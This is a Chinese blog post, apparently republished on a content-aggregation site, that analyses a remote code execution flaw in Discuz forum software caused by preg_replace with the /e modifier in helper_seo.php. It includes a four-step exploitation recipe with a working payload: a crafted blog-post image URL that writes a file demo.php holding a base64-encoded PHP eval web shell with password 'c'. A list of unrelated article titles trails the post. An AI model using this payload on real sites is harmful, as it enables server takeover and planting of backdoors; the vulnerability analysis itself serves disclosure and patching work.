helper_seo::base64_transform【'decode小黑中国Q1440580】
来源:互联网 发布:青铜器铭文翻译软件 编辑:程序博客网 时间:2024/04/29 10:54
刚群里黑哥丢出个乌云的链接:http://www.wooyun.org/bugs/wooyun-2012-06420
问谁上,我说我上吧,职业病,看到discuz dede啥的漏洞一下就精神了,哈哈……
过程简单说下,记的有点乱不贴太多代码了
diff一下看
balabalabala.....
if(!defined('IN_DISCUZ')) {
@@ -89,7 +89,7 @@
}
}
if($searcharray && $replacearray) {
- $content = preg_replace("/(.*?)|()|(\[attach\](\d+)\[\/attach\])/ies", 'helper_seo::base64_transform("encode", "", "\\1\\2\\3", "")', $content);
+ $content = preg_replace("/(.*?)|()|(\[attach\](\d+)\[\/attach\])/ies", "helper_seo::base64_transform('encode', '', '\\1\\2\\3', '')", $content);
$content = preg_replace($searcharray, $replacearray, $content, 1);
$content = preg_replace("/(.*?)/ies", "helper_seo::base64_transform('decode', '', '\\1', '')", $content);
}
@@ -100,7 +100,7 @@
public static function base64_transform($type, $prefix, $string, $suffix) {
if($type == 'encode') {
- return $prefix.base64_encode(str_replace("\'", "'", $string)).$suffix; // - -
+ return $prefix.base64_encode(str_replace("\\\"", "\"", $string)).$suffix;
} elseif($type == 'decode') {
return $prefix.base64_decode($string).$suffix;
}
够清楚吧,问题在/source/class/helper/helper_seo.php 92行附近的:
preg_replace 使用了e修正符,又是双引号,所以导致远程任意代码执行。
需要论坛支持个功能,啥功能看68行 $_G['cache']['relatedlink'],grep下relatedlink一路跟,具体代码先不贴,找到需要后台开个seo功能,在运营-关联链接 /admin.php?frames=yes&action=misc&operation=relatedlink,且至少需要设置一个链接,这功能不是所有管理员都开,但是我觉得大部分都会开,如果不开,它就只能是个后台拿shell的tips了。
function_core.php 1925
function parse_related_link($content, $extent) {
return helper_seo::parse_related_link($content, $extent);
}
看正则
"/(.*?)|()|(\[attach\](\d+)\[\/attach\])/ies"
那么利用方式还用说么? 各种地方比如 source/include/space/space_blog.php,懂的都懂了
利用方法注:
1.注册任意账户
2.登陆用户,发表blog日志(注意是日志)
3.添加图片,选择网络图片,地址{${fputs(fopen(base64_decode(ZGVtby5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}}
4.访问日志,论坛根目录下生成demo.php,一句发密码C
- helper_seo::base64_transform【'decode小黑中国Q1440580】
- 小黑
- Oracle Decode小试
- 博客中国被黑了
- 中国最黑十三个景点
- 小黑看病记~
- 我的小黑
- 小黑已去
- 黑科技小代码
- IBM小黑购买经历
- 黑白棋小程序0.06
- 小黑NO.1 TELNET.
- 【HDU2155】小黑的镇魂曲
- 小黑升级SSD实录
- 怕黑的小强
- 中国电脑黑白棋软件八强
- 麦当劳中国主页被黑了。
- 水木周平戏说中国网络黑幽默!
- CSS3 圆角(border-radius)
- 构造器Constructor是否可被重写?
- 雅安加油,中国加油!
- 当一个线程进入一个对象的一个synchronized方法后,其它线程是否可进入此对象的其它方法?
- 算法基础(1)关于时间复杂度计算之函数增长
- helper_seo::base64_transform【'decode小黑中国Q1440580】
- 浅析Android线程模型
- 从phpMyAdmin批量导入Excel内容到MySQL
- hashcode()与equals()详解(例子)
- android中finish()与system.exit(0)的区别
- 装饰模式
- java接口
- Android 只开启一个Activity实例
- AndroidManifest.xml文件解析